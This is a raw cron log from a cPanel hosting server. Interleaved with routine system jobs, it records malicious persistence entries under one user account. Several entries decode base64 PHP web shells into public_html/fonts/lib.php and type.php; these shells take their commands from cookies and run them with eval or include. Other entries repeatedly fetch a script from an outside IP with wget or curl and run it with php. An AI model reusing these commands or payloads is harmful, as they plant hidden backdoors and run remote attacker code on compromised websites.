Sep  2 04:09:01 ip-184-168-122-23 CROND[8313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:09:01 ip-184-168-122-23 CROND[8312]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 04:10:01 ip-184-168-122-23 CROND[8449]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 04:10:01 ip-184-168-122-23 CROND[8451]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 04:10:01 ip-184-168-122-23 CROND[8452]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 04:10:01 ip-184-168-122-23 CROND[8455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:10:01 ip-184-168-122-23 CROND[8459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:10:01 ip-184-168-122-23 CROND[8461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:10:01 ip-184-168-122-23 CROND[8460]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 04:10:01 ip-184-168-122-23 CROND[8463]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:11:01 ip-184-168-122-23 CROND[8664]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:11:01 ip-184-168-122-23 CROND[8665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:11:01 ip-184-168-122-23 CROND[8666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:11:01 ip-184-168-122-23 CROND[8667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:12:01 ip-184-168-122-23 CROND[8785]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 04:12:01 ip-184-168-122-23 CROND[8787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:12:01 ip-184-168-122-23 CROND[8789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:12:01 ip-184-168-122-23 CROND[8788]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:12:01 ip-184-168-122-23 CROND[8790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:13:01 ip-184-168-122-23 CROND[8904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:13:01 ip-184-168-122-23 CROND[8906]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:13:01 ip-184-168-122-23 CROND[8907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:13:01 ip-184-168-122-23 CROND[8909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:14:01 ip-184-168-122-23 CROND[9058]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:14:01 ip-184-168-122-23 CROND[9060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:14:01 ip-184-168-122-23 CROND[9061]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 04:14:01 ip-184-168-122-23 CROND[9062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:14:01 ip-184-168-122-23 CROND[9063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:15:01 ip-184-168-122-23 CROND[9187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:15:01 ip-184-168-122-23 CROND[9188]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 04:15:01 ip-184-168-122-23 CROND[9191]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:15:01 ip-184-168-122-23 CROND[9192]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 04:15:01 ip-184-168-122-23 CROND[9194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:15:01 ip-184-168-122-23 CROND[9193]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  2 04:15:01 ip-184-168-122-23 CROND[9195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:16:02 ip-184-168-122-23 CROND[9297]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:16:02 ip-184-168-122-23 CROND[9299]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 04:16:02 ip-184-168-122-23 CROND[9302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:16:02 ip-184-168-122-23 CROND[9301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:16:02 ip-184-168-122-23 CROND[9300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:16:02 ip-184-168-122-23 CROND[9303]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 04:17:01 ip-184-168-122-23 CROND[9505]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:17:01 ip-184-168-122-23 CROND[9509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:17:01 ip-184-168-122-23 CROND[9508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:17:01 ip-184-168-122-23 CROND[9507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:18:01 ip-184-168-122-23 CROND[9631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:18:01 ip-184-168-122-23 CROND[9634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:18:01 ip-184-168-122-23 CROND[9632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:18:01 ip-184-168-122-23 CROND[9633]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 04:18:01 ip-184-168-122-23 CROND[9636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:19:02 ip-184-168-122-23 CROND[9727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:19:02 ip-184-168-122-23 CROND[9729]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:19:02 ip-184-168-122-23 CROND[9730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:19:02 ip-184-168-122-23 CROND[9732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:20:01 ip-184-168-122-23 CROND[9838]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 04:20:01 ip-184-168-122-23 CROND[9841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:20:01 ip-184-168-122-23 CROND[9843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:20:01 ip-184-168-122-23 CROND[9844]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 04:20:01 ip-184-168-122-23 CROND[9840]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 04:20:01 ip-184-168-122-23 CROND[9845]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 04:20:01 ip-184-168-122-23 CROND[9842]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 04:20:01 ip-184-168-122-23 CROND[9847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:20:01 ip-184-168-122-23 CROND[9846]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:21:01 ip-184-168-122-23 CROND[9952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:21:01 ip-184-168-122-23 CROND[9954]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:21:01 ip-184-168-122-23 CROND[9955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
